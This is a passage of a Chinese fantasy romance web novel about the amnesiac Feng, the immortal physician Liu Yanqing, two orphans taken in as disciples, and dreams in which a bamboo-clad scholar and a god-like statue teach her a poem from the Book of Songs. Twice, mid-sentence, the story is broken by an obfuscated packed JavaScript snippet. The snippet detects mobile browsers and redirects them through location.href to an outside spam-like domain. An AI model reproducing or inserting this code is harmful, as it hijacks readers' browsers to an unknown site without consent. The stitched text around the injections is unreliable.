“权当收俩徒弟,多好。” 听我这么说,柳砚清轻轻笑了笑,手指点了点我的额头。 “有你都够累了。不过,他们肯定比你听话。” “什么嘛……我也有帮上你的地方好吧。” “比如?” “比如……” 我支支吾吾半天,什么都想不起来,半天蹦不出一个字。 柳砚清笑着,掀开自己的披风,把我揽进怀里和他裹在同一件披风下。 黄昏的霞光照在房顶的茅草上,耳畔有乌鸦声,各家各户升起炊烟,如一幅岁月静好的乡村美卷。唯独身后的屋内,清冷黑暗,照不进一丝光亮。 柳砚清静静地看着我,他明白我在想什么,但也只安静地陪着我,把我揽得更近一些。 “晚上会不会冷啊。” 听了我的话,柳砚清低下头,侧脸贴上我的额头。 “待会儿我麻烦村长给他们送床被子。如果顺利的话,明天我们就带他们回山。” 我猛地抬起头,欣喜地看向他。 “你同意了?” “我有说过不同意吗?” 柳砚清眉头微蹙,做出拗不过我无奈的样子。我笑着一把抱住他的腰,在他的胸前蹭了蹭。 “嘻嘻,以后你要当师尊啦。” 深秋的雨说来就来。 半夜醒来找水喝,突然被窗外淅沥的雨声吸引。推开窗,冰冷的点滴毫无征兆地打在我脸上。 “下雨了?” “不对,好像是雪?秋日飞雪?” 自说自话,我被自己无厘头的话逗乐,伸手接住落下的雨水。清透的雨水,泛着似有若无的白光。 似清雨,却如雪。 清冷如雨,却似雪温柔。 忽然,我想起了茅屋里相依为命的两个孩子。紧紧依偎,只剩彼此。男孩如雨一般清冷,却内里是春夏的雨,是温暖的。女孩似雪一般安静,鹅毛一般雪落在身上,令人怜惜。 回想着白日里的画面,我的视线不由得看向床铺上睡得正香的人。 我重新挲进被窝,钻进柳砚清的怀里,借着他的热意温暖我冰冷的身子。 “好温暖啊。” 我不由得感叹,胸口紧贴的地方隔着一层轻薄的衣裳传来暖阳般的温暖。柳砚清的体温好像随时都很高,无论什么时候这双手握住我时,总能传递一份温暖给我,简直是行走的暖炉。 窗户外依旧细雨纷纷,此刻我却没了雨天潮湿烦闷的心情。 似清雨,却如雪。 好像可以取名字! 我迫不及待摇晃柳砚清的身子,把他从睡梦中强行唤醒。 “我想到了两个好名字!” 柳砚清迷迷糊糊嗯了一声,眼睛都没睁开。 我又继续说:“清雨和如雪,怎么样!” 柳砚清又嗯了一声,收了收拥住我的手臂,侧脸贴上我的额头。低沉沙哑的声音在我头顶响起。 “跟我姓吗?” “啊?” 我一头雾水。收徒弟是会跟师傅同姓的吗?这规矩我还是头回听说。 “或者一人跟姓一个。你喜欢南清雨,还是南如雪?” 这人在说什么呢。半梦半醒说胡话的柳砚清,和平日里清高的医者简直判若两人。我也乐忠于扰人清梦,看他说无厘头的话逗我乐。 我笑着拍了拍他的脸蛋,“还没入后半夜就睡迷糊了?我在说茅屋那俩孩子的名字。他们不是没有名字嘛,我突然想到的。你觉得怎么样?” 柳砚清又嗯了一声,随口说了声好,然后,就彻底睡过去了。 我憋着嘴看着他完全睡过去的样子,无可奈何地叹了口气。 “上年纪了吗,这么好睡。” 第二天,趁着柳砚清给村民义诊的空档,我找到了两个孩子。既然要带他们走,就得从消除他们的戒备开始。 进屋前,我先伏在门口偷偷看了眼昨天留下的披风。 不在原处……啊!在女孩儿的身上! 向成功迈进了一大步! 随着我走进屋内的脚步声,两个孩子一齐抬头看向我。没等我开口进行计划的下一步,女孩儿率先站起身,朝我跑来,怀里抱着我昨日留下的披风。 “谢谢姐姐。” 我笑着,没有接过她还回来的披风。 “送给你啦。马上入冬了,也该给你们添置些新衣服啦。怎么样?要不要考虑做昨天那位叔……额,爷爷?大哥?咳咳——他的徒弟。” 一时半会儿不知道怎么向俩孩子介绍柳砚清。总不能直言不讳,那位是三百多岁的老仙人吧。 女孩儿似乎不讨厌,眼里闪烁着期待的光。但一想自己做不了主,默默转头看向身后的少年。 如此看来,少年应该是女孩的哥哥。 少年与我对视良久,像是透过我的眼底想发现什么。 为了表示我的决心,我丝毫不敢眨眼睛,紧紧盯着他那双失掉光芒的眼睛。 “那位大人,是什么?我看村里人都尊称他神仙大人。” 这是我第一次听到少年的声音。清冷沉稳,如雨一般落下。 “他是医鹿山的神医。包治百病!他教出来的徒弟现在都成了一代名医。有些甚至后面几代人都是名医!” 我说得激动,大脑来不及过一遍便脱口而出,丝毫没觉得话里有问题。 “医鹿山上有吃有住,风景优美气候宜人!” “待遇超好,上五休二!休息日可以下山,山下就是鹿镇。鹿镇也是西南一代重要的驿站,想买啥都有!甚至还有世上最好喝的桃花酿!不对,你们还不能喝酒……好吃的也很多!烧鸡烧鹅,卤猪蹄炒板栗……” “我们跟你走。” 少年打断我的话,走到女孩儿身边牵起她的手。 “我们和你走。请,带我们离开吧。” 事情发展的过于顺利,我激动得巴不得拉着两个孩子立马冲到柳砚清面前,告诉他这个好消息。 “嗯!跟我们走吧!以后,医鹿山就是你们的家。” “我还给你们想了个好名字,清雨和如雪,喜欢吗?” 两个人笑着含泪望向彼此,继而望向我。 “谢谢师娘!” 听到了不得了的称呼,我连忙摆手。 “不不不,我不是师娘。唤我——风姑娘吧。” 寒风凛冽,未锁的窗扉被一阵突如其来的狂风猛然推开,窗框重重地撞击在墙壁上,发出刺耳的声响。我从梦中惊醒,心跳如鼓,冷汗涔涔。窗外,枯枝败叶在风中摇曳,秋日的繁华已逝,冬日的寒意悄然逼近。 我推开窗,正见清雨在院中清扫落叶。他抬头望见我,微微一笑:“姑娘醒了。今日霜降,山中会炖煮羊肉,晚些时候请带师傅一同来用膳。” 我笑着应道:“放心吧,今日无论如何我都会把他拖来。” 清雨点头致意:“劳烦姑娘了。” 转眼间,冬意渐浓。医鹿山虽为仙山,气候却与人间无异。我翻箱倒柜,找出了几件旧时的冬衣,又翻出了前些日子下山时带回的两件厚棉衣。出门时,清雨正好收拾完院子,准备离去。 “清雨。”我探出窗外,叫住了他。我匆匆翻出包裹,顾不上披上外衣,便夺门而出。 “姑娘找我?”清雨回头,眼中带着询问。 我晃了晃手中的棉衣,塞进他怀里:“马上入冬了,也该添置些新衣了。你和如雪一人一件,回头试试合不合身,若不合身,我再找人改改。” 清雨接过棉衣,一时出神,随即抿嘴一笑,将衣服紧紧抱在怀中:“你以前,也和我们说过同样的话。” “是吗?”我笑了笑,心中却一片茫然。昨夜的梦境中,似乎有过类似的对话,但醒来后,一切细节都已模糊不清。 “姑娘。”清雨欲言又止,最终只是笑着摇了摇头,“没什么。谢谢你的棉衣。” 晚餐时分,医鹿山的众人围坐一堂,享用着热气腾腾的羊肉汤锅。柳砚清却迟迟未至,推辞说不喜羊肉的膻味。我特地去了厨房,虽未闻到膻味,却被那香气勾得饥肠辘辘。天寒地冻,羊肉汤正是驱寒佳品。 我苦口婆心地劝说柳砚清,甚至将汤中所用药材一一列举。他最终妥协,或许是不愿再听我絮叨,又或许是被我的执着打动。 一轮肉汤下肚,桌上的菜肴一扫而空,我才发现柳砚清的位置空了。我起 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我滔滔不绝地说着,柳砚清却始终一言不发,眼眸中映照着远山的轮廓。 “我兴许是救你时,哪一步走错了吧。”他忽然低声说道,语气中带着一丝无奈。 “啊?”我一时未反应过来。 “没什么。我也差不多习惯了。”他轻声叹息,仿佛在自言自语。 我能感受到他心中的无奈与酸楚,心中既酸涩又有些想笑。而他接下来的话,却如春风般驱散了我心头的寒意。 “别忘了你说的话。”他低声说道,语气中带着一丝不易察觉的温柔。 我哭笑不得,仰头深吸一口山间的冷气,终于笑出声来:“嘿嘿,承认吧,师尊其实挺中意我的。要不,就认了我这徒弟吧,啊?” “不许叫我师尊。且,永远都不会认你为徒。”他的语气依旧冰冷,却少了些许疏离。 “为什么!”我几乎吼了出来,柳砚清微微一愣,眼中闪过一丝惊讶。我立刻认怂,低下头,恭敬地说道:“失态了……可我想不明白啊。师尊您老人家解释解释?” “等你回忆起过去,就明白了。”他的声音低沉,带着一丝难以言喻的复杂情绪。 又是过去。我心中一阵酸楚,深吸一口气,终于鼓起勇气说道:“您不会寂寞吗?” “什么?”他侧目看我,眼中带着一丝疑惑。 “我把你忘了,只有你一个人还记得我们之间发生的故事。只有你一个人,还陷在回忆里。师尊你到现在……也没有接受我如今的样子吧。”我的声音颤抖,心中压抑已久的情绪终于爆发。 柳砚清沉默不语,我咬着下唇,继续说道:“你偶尔才露出的笑容,是因为想起了过去,透过我看到了过去,所以才露出发自内心的笑。” “不是的……”他的声音微弱,带着一丝挣扎。 “每每想起过去你都会从我身边逃避。是因为你不愿……不对,根本不想承认此刻在你面前的,不是你努力挽救回来的人。是不是?”我的声音哽咽,泪水在眼眶中打转。 柳砚清依旧沉默,仿佛在思索如何回答。我深吸一口气,仰头将泪水逼回眼眶,努力平复心情。 “师尊,你讨厌我吗?”我低声问道。 “不讨厌。”他的声音低沉,却带着一丝温柔。 “我离开,你会伤心吗?”我继续追问,心中却已有了答案。 他沉默片刻,终于低声说道:“会。” 我心中一震,泪水终于夺眶而出。我伸出手,轻轻抚上他的脸颊,强行固定住他想躲闪的脸,不顾他紧闭的双唇,吻了上去。他的身体微微一僵,却并未推开我。 “师尊……你看我啊……”我低声呢喃,泪水滑落在他的脸颊上。 “师尊,我好像,喜欢上你了。” 我的声音在发抖,好在心中压抑已久的情感终于倾泻而出。 柳砚清的身体微微颤抖,最终抬起双臂,将我紧紧揽入怀中。 “抱歉,又让你哭了。”他的声音低沉,带着一丝无奈与心疼。 我伏在他胸前,泣不成声。泪水大滴大滴地落下,滑落到他敞开的衣襟上。 “对不起……对不起……我不是你想救回的人……对不起……”我低声呢喃,心中满是愧疚与痛苦。 柳砚清轻轻抚摸着我的头发,低声说道:“我早该知道的。” 他的声音中带着一丝释然,仿佛终于接受了现实。 “我早知道救回你会失去什么。但我不敢接受你失忆的事实。我不愿相信……你把我,和我们的约定忘了。我深知留不住你,倒不如断了念想。就当……” 你已经死了。 柳砚清咽下了没说完的话,但我能猜到他的意思。 我抬起头,双手轻轻撑在他的胸口,泪眼朦胧地看着他。这一次,他没有躲闪,认真地回应我的目光。 “风。”他低声唤道,指尖轻轻拂去我脸上的泪水,温柔地整理我凌乱的头发。 “这一次,不会再重复同样的结局了。”他的声音低沉,却带着一丝坚定。 我紧紧抱住他,心中满是酸涩与温暖。 雪花悄然飘落,覆盖了医鹿山的每一寸土地。 5. 轻红落雨 似曾相识的感觉再次袭来。 好似在过去的某一日发生过同样的事情。 眼前事漫天的红绸,四处挂着喜庆的红灯笼。窗户、门扉贴满了红色的双喜字。 噼里啪啦的鞭炮声中,我被人牵着走下花轿。透过盖头下端的空隙,我看见了那双手,布满茧却极尽温柔的手。 鼓乐彩舆,凤凰霞帔,花烛拜堂。 我的少年牵着我的手,缓步入堂前,一升一拜。 我盖着红头端坐床边,房间里烛火摇曳,门外热闹的声音直到天色暗下才慢慢褪去。 人声散去,我的少年却迟迟未归。 直到窗外的声音再次响起。不过这一次,是揪人心弦的声音。 我顾不了礼仪流程,掀开盖头,夺门而出。 血红色的雨水淋湿发丝,滴落进眼眶,又在脚边的泥潭里汇聚成涓涓细流。 模糊的视线中,拿着长刀的红衣少年正劈开挡住前路的敌人。上空的电光划破沉寂的夜色,闪过的光芒映照在他被鲜血玷污的脸庞。 檐廊亮起的烛火摇曳,灯笼上的喜字和眼下的杀戮格格不入。不喜庆,反而阴森。 “祈源……放弃吧……再厮杀下去,你会没命的……” 无意识喊出的名字,陌生又熟悉,却百思不得他到底是谁。 我穿着一身喜红色,头上的凤冠和发髻略微凌乱,手里死死抓着的……好像是盖头。 与他之间似有一道透明墙壁一样的障碍,脚下隐形的荆棘爬满我的小腿,不许我再往前半步。 眼睁睁看着他被层层包围,直至彻底被黑压压的人群吞没。 “啊——!!!!!” 少年痛苦与不甘的呻吟随着利刃穿透身体而发出。 梦境的风吹得比平时慢悠悠的,天上细雨不断,浇打少年的红衣裳。 腥红血雨——哪里是雨,分明是从他身体里流出的鲜血。 困住他的人群逐渐散去,拿着长刀的少年跪地不起,意志却撑着他紧握手中的长刀。踉跄着站起,又跪地不起。 风停了,雨却还肆意浇打在他身上。黑夜下,红衣和鲜血融在一起。他后背刀口涌出的鲜血顺着雨水流失,流到我的脚边。 白光再次闪过,我看着他吃力地回过头,干净清亮的眼眸与我四目相对。哪怕已经千疮百孔,他看向我时,脸上依然挂着笑容。尽管这个笑容看上去是那么扭曲。 “对不起……” “风……” “等我……” 我读懂了他的唇语,他说等我,他知道我的名字。 只是一刹那,脑海里似乎闪过了一段少年的记忆——明媚花海,他牵着心爱的姑娘,奔跑在漫天金黄下…… 隔着雨帘,我对他伸出了手,握住了一手雨水。 残败的身躯终于支撑不住倒在湿滑的地面,流到我脚边的血也越来越多。 他死了吗? 下一刻,空气凝滞,裹挟着血腥味的风也停了,雨也停了。 身体终于恢复了自如,我终于能迈出一步,朝他奔去。 但在迈出步子的瞬间,电光再次闪过,光芒刺得我视野内一片煞白。待光芒消散,地上的人和脚边的血都不见了。整个空间,整个梦境,除了我,皆是虚白。 我定了定神,迅速环视四周,试图寻找到那个熟悉的身影。 “祈源?” “祈源!” “贺祈源你在哪儿!” 无论我怎么呼唤,都无人回应。 头上的金丝翠玉摇晃着发出声响,身上的霞帔凌乱地挂在臂弯处。 怎么会消失呢? 刚才惊心动魄的一幕明明还历历在目,我丝毫不敢懈怠,无论如何,必须尽快找到他。否则,他真的会…… “他已经不在这里了。” 又一个熟悉的声音从背后响起。等我回头,却看见一张陌生的脸。 “你是?” 青衫竹纹的男人没有立刻回答我的问题,抬脚走到我面前。 清秀略微苍白的脸上露出一抹柔和的笑。 他,认识我? 或许我的疑惑明摆在脸上,他笑着捋了捋我垂在脸侧的发丝至耳后。 头上的凤冠和身上的霞帔转瞬消失,喜红色的衣裳也眨眼间变成杏子色的交领襦裙。 “失忆了?” 轻柔地声音一下道出了我的秘密。我警觉地上下打量他,脚步不自觉地朝后退半步。 我深吸了一口气,尽量冷静下来。现在我不知道在哪里,也想不起眼前的人。而且刚才遇见他之前……我似乎在寻找谁。 谁? 好像,没有谁。 “你认识我?” 我刻意与他保持距离,他也懂得分寸没再靠近。 男人笑着,微微偏头看到了我插在发间的镶嵌着竹叶的发簪。 “你还是很喜欢竹。” 他的声音轻轻的,似在怀念过去。 因为靠得很近,我很一眼看到他青衫上印着的竹纹。 一种强烈的熟悉感猛然涌上心头,我急忙抬头撞进他始终看向我的眼眸。 “你的名字是……” “闻笙。”他浅浅一笑,“是个云游四方的教书先生。” 我看向他沉稳的眼睛,他也默默半眯着笑眼,像是期待我能记起他。 但我没能做到。 我垂下头,脑袋胀痛得厉害,隐隐闪过一些片段,却什么也捕捉不到。 见了我的反应,闻笙并不惊讶,单手抚上我的脸颊。 “这里是神器给你制造的梦境。现在想起来也不重要,等你醒过来,一切又会忘记。” “是梦?你是,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078493|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么知道的?” 他笑着点了点我头上发簪镶嵌的竹叶,说:“大概是神器叫我来的吧。不过你放心,我也会忘记现在我们所说的一字一句。因为是梦,你也不必担心我会对你做什么。” “神器为什么……” 一边说着,我一边放松下来,心里舒了一口气。取下头上的发簪捧在手里,挽好的头发瞬间散落,披散在后背,发尾垂至腰间。 “头发变短了?”他说着手探进我的发间,钳住一撮头发捋至发尾,“我来帮你栉束。” “我以前头发很长?” “嗯——比现在长一点吧。” 看着他真诚又柔情的样子,我放下戒备,把发簪递到他手心。 闻笙弯起唇角,绕到我身后,捞起我的头发,心细缓慢地替我栉束。 插上发簪,一个简单干练的发髻梳理完毕。闻笙心细地递来一面镜子,我看着镜子里的自己,缓慢眨了眨眼。 唉,想到是梦便觉可惜,要是醒来就是这发型该多好。 闻笙忍俊不禁地看着我,又替我整理了一下身前的衣襟。 “长梦将醒,我们,又要分开了。” “又?” 我不明白为什么是又,明明在我的意识里,这是我们第一次见面。而且,是在梦里。 “闻笙?” “嗯。” 闻笙微微颔首。 “你知道我的名字吗?” “当然。风。” “什么风?” 神像告诉过我,风,只是我的名。只有找到知晓我真正姓名的人,记忆才会恢复。闻笙显然是认识我的,他能被神器邀请至我的梦里,一定是有其道理的。 闻笙勾唇笑了笑,不紧不慢地抓住我的手,在我的掌心一笔一划,写了很久,似乎写了一首很长的诗。 这些文人都喜欢用诗来卖关子吗……都不怕我是个文盲,全然不知所言吗…… “东方未明,颠倒衣裳。颠之倒之,自公召之。东方未晞,颠倒裳衣。倒之颠之,自公令之。折柳樊圃,狂夫瞿瞿。不能辰夜,不夙则莫。” 他又念一遍写在我掌心的诗,语气淡淡的,每一个字都说得很清晰,像是要我牢牢记住。 可是梦,醒来,我不见得还记得。 不不不,凡是有例外,总有梦是能被记住的。 我点点头,坚定地对上他的视线,我想告诉他,我会记得的,醒来以后得第一件事就是找出纸笔写下来。 如果我还记得的话…… 随着一阵风起,闻笙衣裳上的竹纹也随之浮动,恍惚间,我好似听到了竹林摇曳的声音。 我转眼望像一个方向,仿佛过去无数次朝那个方向望去一般——窗台边书案上的笔架,坐在桌边只需抬头望,竹林豁然开朗。 虚白的视野里,我怎么会有这样的错觉? 6. 似梦幻梦 经过霜降那一晚对柳砚清所做的事,我心中始终萦绕着一种难以言喻的愧疚与不安。接下来的半个月里,我采取了能躲就躲、躲不掉就迅速脱身的策略,尽量避免与他有任何授课之外的接触。幸运的是,柳砚清并不是那种会追着你问“为什么”的人。或许,他也不想问吧。 授课的地点与我的住处之间隔着大殿和广场。这天,我穿过广场时,四周的寂静令人心生不安。平日里打扫的仆人和在角落念书的学子都不见了踪影。空中弥漫的白雾模糊了视线,仿佛一层薄纱笼罩在眼前。气温骤降,大家都躲在屋内不愿出门。虽然我也想赖在被窝里,但想到柳砚清还在药房等我,便加快了脚步。 柳砚清的药房,也就是我初见他的那间屋子,是我们授课的地方。屋内不仅有整面墙的药柜,不远处便是医鹿山的书库,极为方便。我推门进屋时,柳砚清正在烹茶。桌上早已备好了两个茶盏和一碟茶点。见我进来,他先给我倒了一杯热茶。 我颔首道谢,热茶下肚,周身瞬间充满了暖意。 “妙啊——”我忍不住小声感叹。 茉莉花香四溢,药房终日弥漫的苦香被花茶香掩盖。前些日子,柳砚清下山归来,带回了一些绿茶和茉莉花,说是鹿镇近来流行从东南建路学来的“香入茶”,兴起了这股热潮。行医时,茶馆的老板送了些原料给他,他便带上山来给大家尝尝鲜。 这新鲜玩意儿,绿茶的苦与茉莉的香混杂在一起,形成了独特的甘甜口感,对于喝惯了医鹿山古树茶的人来说,确实略显怪异。见大家都不敢尝试,柳砚清只好留在药房自己喝。说来我倒挺喜欢这味道,首次喝过后便爱上了香茶清新淡雅的味道。每逢授课的日子,走进药房,总能见到柳砚清在烹茶。 放下杯盏,我掏出那本柳砚清亲自手抄的书,摊开摆在桌上,开始今天的授课。是的,这半个月的时间里,我们心无旁骛,专心学习。但今天是半月一次的课业检查,下课后我并不能马上离开,而是等着柳砚清抽查近期的学习情况。 我找了个借口到门口学习,避免与他待在尴尬的空间内。 灰蒙蒙的夜空下,医鹿山云雾缭绕,缠绕着重重山巅,仿佛不在人间。我靠坐在柳砚清药房门外的石阶上,将视线从远处收回,落在手中的医书上。密密麻麻的文字和勾勾画画的线条,想不到,我真的能在短时间内学成。虽然还称不上医者,虽然超过了预期制定的三个月计划,得到来年花开之日才可下山,但基本的草药还是能认全。即便不能靠行医救人挣钱,也可以靠山间采药换取生活费。 “好冷啊。”我紧了紧身上的披风,依旧挡不住穿透走廊的寒风。 “既然知道冷,为什么要坐在门口?”随着一声熟悉的声音落在耳畔,我回头望去,看见柳砚清手里拿着暖手炉朝我走来。 他走到我身边坐下,伸手自然地拿过我手里的书,顺带把他手里的暖炉放在我的手心。 “准备好检查学的知识了吗?”柳砚清随意翻着手里的书,检查我平日授课做的标记。 他那清隽的脸上有种说不出的宁静,冷冷的却不觉有距离。兴许是暖炉的功劳。我侧过脸,望着他,想到相处的时日弹指一挥,还是忍不住伸出手指戳了戳那张丝毫看不出岁月的脸,圆了我近半月来的日思夜想。 “最近不是躲着我,就是避着我,现在倒敢戳我的脸了?”柳砚清淡淡开口,语气中带着一丝调侃。 我收回不满足的手指,不好意思地埋下头,轻轻拍了拍手里的暖炉。 “师……你不也是。明明我做了那么过分的事,你还是贴心地教我知识,给我准备暖炉。就像,什么也没发生一样。” 炽热的暖炉温暖了我冰冷的手,我转头看到柳砚清的手,想起他平日里冰得毫无温度的手,便把手里的暖炉塞进他手里,顺带拿回自己的书。 “师……你手冷,多暖暖。”我轻声说道。 柳砚清看了我一眼,无奈摇了摇头,抓住我的手腕把我一同拉起来。 “进屋,检查作业。”这一次,他没有很快松手。 冷峻与疏离被慢慢剥落,毫无温度的手掌,抓着我的手腕将我带进温暖的屋内,缓缓关上门,只留一室温暖。我看着两个人触碰的地方,忍不住地笑。 柳砚清不问我笑什么,只拉着我的手回到平日授课的桌边才松开。 “经脉穴位,背错一处,抄《伤寒杂病论》十遍。同一处第二次抽查再背错,多抄三十遍。”他淡淡说道,语气中带着一丝严厉。 我脸上的笑瞬间凝固……刚才温柔的人去哪儿了? 嘴上说着罚我,可真当我说错了,柳砚清不过摆了摆头。连着说错了好几条,他直接挥了挥手,让我赶紧回房睡觉。 深夜,我压着枕头趴在被窝里,手里拿着神器仔细端详。发簪确实是在我眼皮下从玉石变化而来,应该是神器没错。镶嵌的竹叶好似匠人手工雕刻而出,十分精美。发簪整体虽美中不足,但能感受到制作之人的用心与情谊。 这真的是神器吗…… 掐指一算,获得神器也有一段时日,神像说它会指引我,帮助我。 “神器啊神器,我该怎么办啊。”我转动着发簪,神思恍惚。 “是不是……不该告诉他我的喜欢啊……”打破了不该打破的屏障,深陷泥潭无法自拔。一时心急乱了阵脚,闹得现在这般窘境。 窗外的寒风拍打着窗户,发出低沉的吱吱呀呀声。神器静静地被我玩弄在指尖转动,丝毫没有显灵帮我的打算。 “唉,说好的会帮我的。”我将神器放置在枕头边,吹灭蜡烛,阖上双眼,只想赶紧入睡忘了烦心事。 又是梦。 最近做梦频次增多,睡了很久,梦了很多奇怪的事,却统统在醒来后忘得一干二净。 铅灰色的世界里,我置身于一座石桥上,一身浅绿色的褙子长裙,双脚却赤足站在硌脚的石板上。石桥下不见水影却能听见水声。周遭空无一人,我却置身于闹市,耳边不时有人声掠过,叫卖声入耳。头顶似乎飞过一只喜鹊,鸣叫着停留在了斜方较高处,那里兴许是有一棵树。 忽然,风起,裹挟着淡淡药草香拂来。 我循着熟悉的味道走下石桥,赤脚走过的每一步脚下突然出现破碎的画面,渐渐地,走过的地方在身后显现出真实的模样。乌篷船转桨,春风过江。热闹的街道,过往的行人,河岸边翠绿的杨柳,石桥下静静流淌的河水。临街楼台上的少年拨弄着手中的琵琶,咿咿呀呀唱着听不懂的小调。 药草的味道似乎想领着我去什么地方,转过几条小巷依旧可闻。最后,消散在一座石桥上。 等等,这个石桥……不是刚才最初的地方吗? 我左顾右盼,不见熟悉的人影。味道也消散,不免心头失落。 “在找谁?”心头一喜,回头转身之际差点撞上他的胸膛。 “砚清!”我惊喜地喊道。 柳砚清勾唇浅浅一笑,牵起我的手,温热的手掌包裹住我较小的手。 “春已暖,你的手倒还是凉的。让你别忘披披风,偏不听。”他抬起我们拢在一起的手,温柔地数落我。 “反正砚清会帮我暖手,披风不带也罢。”我晃动着两个人的手,和他走在春风十里。 “砚清的手为何终年都是暖和的,有什么法子吗?”我好奇地问道。 柳砚清笑道:“许是学医修道,药喝得多了吧。” “真好啊,冬天都不需要暖炉。”我故作揶揄,他也不甘示弱。 “回头上山,我给你开几副养生的方子?” “不了不了,你知道的,除了茶,我喝不了苦的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神像所谓的“引梦”,是这个意思吗。 曾经的柳砚清原来是这样温暖的一个人吗。 我想起他每次与我相处时,刻意的躲闪,和不愿在我身上多做停留,眼睛里总是写满了冷漠和勿进。 心想被什么尖锐的东西狠狠扎了一下,涌出的血是酸涩的。 “师——砚清。”我差点又叫错了。 柳砚清对上我的视线,温柔似水的清隽之人静静地看着我。 “你的手,会在什么样的情况下变凉?”我试探性地问道。 柳砚清脸上浮出一丝不解。 “用冰水净手的时候?” “不是那个意思!我的意思是……”我一时语塞,不知该如何解释。 “假设!我是说假如!如果我死了,你会救我吗?” “会。”柳砚清毫不犹豫地回答。 我紧接着追问道:“怎么救?” 柳砚清可见蹙起眉头,不解地看着我。 “为何突然问这个?你要救谁吗?” 我愣了愣,神色慌张地转动着眼睛,思考该找个什么理由来打探消息呢。 “没谁。就——问问。医鹿山的规矩不是不许救人,不可干涉生死吗。你说会救我,便想知道你怎么……救我。” 柳砚清眨眨眼,犹豫着开了口。 “你又如何知道,医鹿山的规矩不可干涉人的生死?” 我傻了眼。 以前的柳砚清没有和我说过这条规矩吗! 我一时语塞,心中慌乱不已。柳砚清的目光依旧温柔,却带着一丝探究。我低下头,不敢再与他对视,心中暗自懊悔自己的失言。 7. 东方未明 柳砚清是如何从我眼前消失的,我猜和现在与我并肩站在铅灰色幻境中的这个人有关。 小镇和柳砚清消失,与眼前之人贸然出现,是同一瞬间发生。 他不过振臂一挥,幻象全无。 我无法看清他的模样,一袭白色袍子裹得严严实实,头上还盖着白色的纱,直直垂到他的腿弯处。仙风道骨,宛如从天而降的神仙。通体白色的衣裳,恍惚间,差点误认为羽衣。 “看你都干了什么。” 无可奈何的声音从头纱下发出,恨铁不成钢地冷哼了一声。 我有些忐忑地揉搓着手,拇指指甲扣着食指指腹的皮肉。 “难道这不是梦,而是我回到了过去?刚才的对话无意间改变了过去?!” 在我一脸遭雷劈的慌乱中,那人冷冷地吐出两个字。 “不是。” 我啧了下嘴。 “那你生个什么气……” 毫无征兆,旁边的人抬起脚直接给我屁股上狠狠踢了一下。 我疼得跳起来,捂着屁股嗷嗷叫唤。 “朽木不可雕也,粪土之墙不可圬也。” 他居然打我还骂我!怎么感觉跟爹似的…… 嗯?爹? 我捂着屁股小心翼翼凑到他身边,试图透过白纱看清他的长相。 “神——像?” “放肆!” 神像向后迈开一步,又在我屁股上狠狠踹了一脚。 “嗷——!痛啊!” “不痛你不长记性!” 我倒吸口冷气,揉揉痛痛的屁屁。 “神仙怎么能打人呢!” “吾只打你。” “为什么!” “竖儒!几败而公事。” 蠢货!差点坏了你爹的大事! 虽没读过几年书,但这句话我还是知晓的。 额,神像已经生气到骂爹了吗…… 我收起脸上的怒色,捂着屁股默默安慰自己,别自讨苦吃。区区凡人,还是别跟神过不去。小人不计大人过。 神像转过头,似乎在认真地看着我,良久没发出声响。 我的心不禁紧张万分,提高警备,双手护住我娇嫩的屁屁,时刻紧盯他的脚,生怕又挨揍。 神像弱下气势,转过身背对与我。 “知错了吗?” 我乖乖点头,双手抱在腹前。 “孩儿知错了。” “孺子可教也。” 神像欣慰地点了点头,抬手一挥,宽敞的大袖拂过之处变化出书案和笔墨纸砚。 “吾念,你写。” “是。” 研磨好墨汁,铺开纸张,提笔准备就绪。 “爹要我写什么?” 神像抱着双臂开始吟唱。 他居然没有否认我叫他爹,呵…… “东方未明,颠倒衣裳。颠之倒之,自公召之。东方未晞,颠倒裳衣。倒之颠之,自公令之。折柳樊圃,狂夫瞿瞿。不能辰夜,不夙则莫。” 虽然不知道神像唱的什么,但我还是一字不差地写在纸上。 落下最后一笔,我忍不住欣赏自己的大作。 太完美了!写得不要太好! “你笑什么?” 冰冷低沉的声音在头顶响起。 “啊?啊!” 又是一脚狠狠踢在我屁股上。好不容易露出喜悦的笑容瞬间变成痛苦的狰狞。铅灰色的幻境里连连响起我的哀嚎声。 “全是错字!重写!” “不会吧……东方为名,点到衣上……” 我尴尬地指点笔迹,嘴里说着念着语无伦次,支支吾吾。写的什么狗屁不通。 “一句话八个字,你写错六个。” “不会吧……一定是失忆的问题!不是我的问题!” “不许找借口!” “嗷——!爹我错了!” 还好是梦,否则这一觉醒来屁股该肿了。 神像深深地看了我一眼,然后抬起手,指尖点上我的额头。 隔着白色的纱,能隐约看到神像的容貌。我紧紧地盯着他,心头咯噔一下—— 他的眼睛,是金色的。 为进一步确认眼前的人确确实实是神仙,我便悄悄朝前半步,方便能看得更清一下。 粗矿的眉毛,金色的眼睛,目光如炬,不容亵渎,气宇轩昂。 “哇,您真的是神仙啊。” 既然眼前站的真的来自神界的大仙,那么他的出现一定有更特别的原因。 在神像一笔一划的教导下,我顺利写完了这首漫长不知其名的诗。真同父亲一般,他看着我写完的诗,眼底闪过一丝促狭的笑意。然后慢慢的把手里的纸卷起来,在我脑袋上轻轻敲了下。 “多读书。竟然连诗经都不知道。” 说着,把手里的纸递给我。我颔首接下,揣进怀里。 “谨遵教诲!” 神像像又想起什么很重要的事,又掏出一张纸铺在书案上叫我继续写。 “还写?!” 我下意识抱怨,果不其然,屁股上又挨了一脚。 “让你多学习是为你好!” “是……” 冗长的梦境,写完《西洲曲》后我便醒过来,看外头已是日晒三竿。 我揉着酸痛的屁股起身,转头看到了和发簪躺在一起的两卷纸。 